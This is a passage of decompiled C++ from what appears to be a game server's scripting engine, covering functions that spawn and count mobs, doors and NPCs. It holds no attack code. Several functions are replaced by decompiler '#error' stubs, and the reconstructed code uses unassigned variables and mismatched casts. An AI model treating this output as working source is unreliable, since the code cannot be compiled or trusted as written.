funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 5u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectRegen(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"); result = 0; } return result; } //----- (004A4BB0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate(PineEventScriptNode::SysFuncShineDoorBuild *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #331 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-8h] [bp-20h]@4 unsigned __int16 mobhnd; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 7u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectRegen(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"); result = 0; } return result; } //----- (004A4CF0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate(PineEventScriptNode::SysFuncShineNPCStand *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #331 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-8h] [bp-20h]@4 unsigned __int16 mobhnd; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 4u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectRegen(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"); result = 0; } return result; } //----- (004A4E30) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2Mob *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #331 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-8h] [bp-20h]@4 unsigned __int16 mobhnd; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 5u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectChange(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"); result = 0; } return result; } //----- (004A4F70) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2Door *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #331 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-8h] [bp-20h]@4 unsigned __int16 mobhnd; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 7u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectChange(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"); result = 0; } return result; } //----- (004A50B0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2NPC *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #331 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-8h] [bp-20h]@4 unsigned __int16 mobhnd; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 4u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectChange(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"); result = 0; } return result; } //----- (004A51F0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCount::sfb_Calculate(PineEventScriptNode::SysFuncShineCount *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { int v4; // edi@2 void *v5; // ecx@2 const char *v6; // eax@7 unsigned int v7; // eax@7 signed __int16 v8; // si@7 const char *v9; // eax@9 int v10; // esi@10 PineScriptToken *result; // eax@16 AxialListIterator *v12; // [sp-4h] [bp-244h]@6 int almc; // [sp+Ch] [bp-234h]@2 __int16 v14; // [sp+10h] [bp-230h]@2 int v15; // [sp+14h] [bp-22Ch]@2 int v16; // [sp+18h] [bp-228h]@2 int v17; // [sp+1Ch] [bp-224h]@2 char (__thiscall *v18)(AxialListMobCounter *, #331 *, #331 *); // [sp+20h] [bp-220h]@2 FunctionEntarance _; // [sp+24h] [bp-21Ch]@1 PineScriptToken mobindex; // [sp+28h] [bp-218h]@1 PineScriptToken thisa; // [sp+128h] [bp-118h]@1 unsigned int cookie; // [sp+22Ch] [bp-14h]@16 int v23; // [sp+23Ch] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineCount::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCount::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineCount::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v23 = 0; PineScriptToken::pst_Clear(&mobindex); LOBYTE(v23) = 1; memcpy(&thisa, PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &mobindex, ps), sizeof(thisa)); LOBYTE(v23) = 2; if ( PineScriptToken::operator__(&thisa, "player") ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almc); v4 = (int)AxialListMobCounter::_vftable_; almc = (int)AxialListMobCounter::_vftable_; v14 = -1; v15 = 0; v16 = 0; v17 = 99999; v18 = AxialListMobCounter::ala_SearchPly; v5 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v23) = 3; if ( v5 != 0 ) ShineObjectClass::ShineObject::so_AllInMap(v5, (int)&almc, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); goto LABEL_15; } if ( PineScriptToken::operator__(&thisa, "all") ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almc); v4 = (int)AxialListMobCounter::_vftable_; almc = (int)AxialListMobCounter::_vftable_; v14 = -1; v15 = 0; v16 = 0; v17 = 99999; v18 = AxialListMobCounter::ala_SearchAll; LOBYTE(v23) = 4; v12 = (AxialListIterator *)&almc; LABEL_14: Movie::Theater::t_AllInMap(*(Movie::Theater **)&ps->gap10114[4], v12); LABEL_15: v10 = v16; LOBYTE(v23) = 2; almc = v4; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); goto LABEL_16; } MoveManager::MoveManager((DiceTaiSai *)&mobindex); v7 = BTree::operator__(&mobdatabox.mdb_btree, v6); v8 = -1; if ( v7 != -1 ) v8 = v7; MoveManager::MoveManager((DiceTaiSai *)&mobindex); if ( !ps_assert(v8 != -1, "PineEventScriptNode::SysFuncShineCount::sfb_Calculate : MobName wrong", v9) ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almc); v4 = (int)AxialListMobCounter::_vftable_; almc = (int)AxialListMobCounter::_vftable_; v14 = v8; v15 = 0; v16 = 0; v17 = 99999; v18 = AxialListMobCounter::ala_SearchAll; if ( v8 != -1 ) v18 = AxialListMobCounter::ala_SearchMob; LOBYTE(v23) = 5; v12 = (AxialListIterator *)&almc; goto LABEL_14; } v10 = 0; LABEL_16: LOBYTE(v23) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); result = PineScriptToken::pst_Clear(buffer); PineScriptToken::pst_MergeNumber(result, v10); LOBYTE(v23) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCount::sfb_Calculate"); __security_check_cookie(cookie); return result; } // 5B1660: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004A54C0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate(PineEventScriptNode::SysFuncShineRestSecond *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { int v4; // ST00_4@1 PineScriptToken *v5; // eax@1 PineScriptToken *v6; // eax@1 PineScriptToken *v7; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = Movie::TimeLimit::tl_GetTimeLimit_Second((Movie::TimeLimit *)(*(_DWORD *)&ps->gap10114[4] + 66100)); v5 = PineScriptToken::pst_Clear(buffer); v6 = PineScriptToken::pst_MergeNumber(v5, v4); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate"); return v7; } //----- (004A5580) -------------------------------------------------------- #error "4A5580: undefined or illegal type '#331' (funcsize=113)" //----- (004A5780) -------------------------------------------------------- #error "4A5780: undefined or illegal type '#331' (funcsize=118)" //----- (004A5960) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate(PineEventScriptNode::SysFuncShineDeadNumber *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 const char *v5; // eax@3 unsigned int v6; // eax@3 unsigned __int16 v7; // si@3 const char *v8; // eax@5 int v9; // eax@7 int v10; // eax@8 int v11; // ST10_4@10 PineScriptToken *v12; // eax@10 PineScriptToken *result; // eax@11 PineScriptToken mobindex; // [sp+14h] [bp-110h]@1 unsigned int v15; // [sp+114h] [bp-10h]@11 int v16; // [sp+120h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; PineScriptToken::pst_Clear(&mobindex); LOBYTE(v16) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &mobindex, ps); if ( ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate : Argument err", 0) ) { LOBYTE(v16) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"); } else { MoveManager::MoveManager((DiceTaiSai *)&mobindex); v6 = BTree::operator__(&mobdatabox.mdb_btree, v5); v7 = -1; if ( v6 != -1 ) v7 = v6; MoveManager::MoveManager((DiceTaiSai *)&mobindex); if ( ps_assert(v7 != -1, "PineEventScriptNode::SysFuncShineCount::sfb_Calculate : MobName wrong", v8) ) { LOBYTE(v16) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"); } else { v9 = *(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77280); if ( v9 ) v10 = MobDeadCount::mdc_DeadCountGet((MobDeadCount *)(v9 + 72), v7); else v10 = 0; v11 = v10; v12 = PineScriptToken::pst_Clear(buffer); PineScriptToken::pst_MergeNumber(v12, v11); LOBYTE(v16) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"); } } __security_check_cookie(v15); return result; } //----- (004A5B40) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate(PineEventScriptNode::SysFuncShineCircularScatter *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 unsigned __int16 v5; // ax@1 DiceTaiSaiDividind *v6; // ecx@1 PineScriptToken *v7; // eax@3 unsigned __int16 v8; // ax@3 int v9; // ebp@4 PineScriptToken *v10; // eax@4 int v11; // eax@7 int v12; // ST10_4@7 int v13; // ST08_4@7 PineScriptToken *v14; // eax@7 PineScriptToken *v15; // eax@7 PineScriptToken *v16; // eax@7 PineScriptToken *result; // eax@8 int x; // [sp+10h] [bp-12Ch]@3 int loc; // [sp+14h] [bp-128h]@7 int num; // [sp+18h] [bp-124h]@7 MobRegenClass::MobRegenLoc_Circular mc; // [sp+1Ch] [bp-120h]@7 FunctionEntarance _; // [sp+28h] [bp-114h]@1 PineScriptToken token; // [sp+2Ch] [bp-110h]@1 unsigned int v24; // [sp+12Ch] [bp-10h]@8 int v25; // [sp+138h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v25 = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v25) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps); v5 = ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate : Argument err", 0); v6 = (DiceTaiSaiDividind *)&token; if ( v5 || (x = PineScriptToken::pst_GetNumber(&token, 0), v7 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps), v8 = ps_assert(v7 != 0, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate : Argument err", 0), v6 = (DiceTaiSaiDividind *)&token, v8) ) { LOBYTE(v25) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut(v6); v25 = -1; } else { v9 = PineScriptToken::pst_GetNumber(&token, 0); v10 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 2u, &token, ps); if ( !ps_assert(v10 != 0, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate : Argument err", 0) ) { v11 = PineScriptToken::pst_GetNumber(&token, 0); MobRegenClass::MobRegenLoc_Circular::MobRegenLoc_Circular(&mc, x, v9, v11); LOBYTE(v25) = 2; MobRegenClass::MobRegenLoc_Circular::mrlc_Get(&mc, (SHINE_XY_TYPE *)&loc); v12 = num; v13 = loc; v14 = PineScriptToken::pst_Clear(buffer); v15 = PineScriptToken::pst_MergeNumber(v14, v13); v16 = PineScriptToken::pst_MergeString(v15, (char *)&stru_598DE4); PineScriptToken::pst_MergeNumber(v16, v12); LOBYTE(v25) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mc); LOBYTE(v25) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"); goto LABEL_8; } LOBYTE(v25) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); v25 = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"); LABEL_8: __security_check_cookie(v24); return result; } //----- (004A5D80) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate(PineEventScriptNode::SysFuncShineRemoveFisrt *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 int v5; // eax@3 int v6; // ebp@3 PineScriptToken *v7; // eax@3 PineScriptToken *v8; // eax@4 PineScriptToken *v9; // edi@4 int v10; // esi@6 char v11; // al@8 int i; // ebp@13 char v13; // al@14 PineScriptToken *result; // eax@17 PineScriptToken token; // [sp+14h] [bp-110h]@1 unsigned int v16; // [sp+114h] [bp-10h]@17 int v17; // [sp+120h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v17) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps); if ( ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate : Argument err", 0) ) { LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"); } else { MoveManager::MoveManager((DiceTaiSai *)&token); v6 = *(_BYTE *)v5; v7 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps); if ( !ps_assert(v7 != 0, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate : Argument err", 0) && (v8 = PineScriptStack::ProcessStack::ps_FindVariable(ps, &token), (v9 = v8) != 0) ) { v10 = 0; if ( PineScriptToken::pst_GetChar(v8, 0) != v6 ) { do { if ( !PineScriptToken::pst_GetChar(v9, v10) ) break; v11 = PineScriptToken::pst_GetChar(v9, v10); PineScriptToken::pst_SetChar(buffer, v10++, (unsigned __int8)v11); } while ( PineScriptToken::pst_GetChar(v9, v10) != v6 ); } PineScriptToken::pst_SetChar(buffer, v10, 0); for ( ; PineScriptToken::pst_GetChar(v9, v10) == v6; ++v10 ) ; if ( PineScriptToken::pst_GetChar(v9, v10) ) { for ( i = 0; PineScriptToken::pst_GetChar(v9, v10); ++v10 ) { v13 = PineScriptToken::pst_GetChar(v9, v10); PineScriptToken::pst_SetChar(v9, i++, (unsigned __int8)v13); } PineScriptToken::pst_SetChar(v9, i, 0); } else { PineScriptToken::pst_Clear(v9); } LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"); } else { LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"); } } __security_check_cookie(v16); return result; } //----- (004A6000) -------------------------------------------------------- #error "4A6000: undefined or illegal type '#331' (funcsize=56)" //----- (004A60F0) -------------------------------------------------------- PineScriptToken *__thiscall AxialListObjectList::alol_MakeList(AxialListObjectList *this, PineScriptToken *buffer) { AxialListObjectList *v2; // ebx@1 int v3; // edi@1 int *v4; // ebp@2 int v5; // eax@3 int v6; // edx@3 char v7; // cl@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListObjectList::alol_MakeList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListObjectList::alol_MakeList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; PineScriptToken::pst_Clear(buffer); if ( v2->alol_Pointer > 0 ) { v4 = (int *)v2->alol_Array; do { MoveManager::MoveManager((DiceTaiSai *)buffer); v6 = v5 + 1; do v7 = *(_BYTE *)v5++; while ( v7 ); if ( (unsigned int)(v5 - v6) >= 0xF1 ) break; PineScriptToken::pst_MergeNumber(buffer, *(_WORD *)v4); PineScriptToken::pst_MergeString(buffer, (char *)&stru_598DE4); ++v3; v4 += 2; } while ( v3 < v2->alol_Pointer ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListObjectList::alol_MakeList"); return buffer; } //----- (004A61E0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate(PineEventScriptNode::SysFuncShineGetObjectList *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 unsigned __int16 v5; // ax@3 const char *v6; // eax@3 int v7; // ebx@5 PineScriptToken 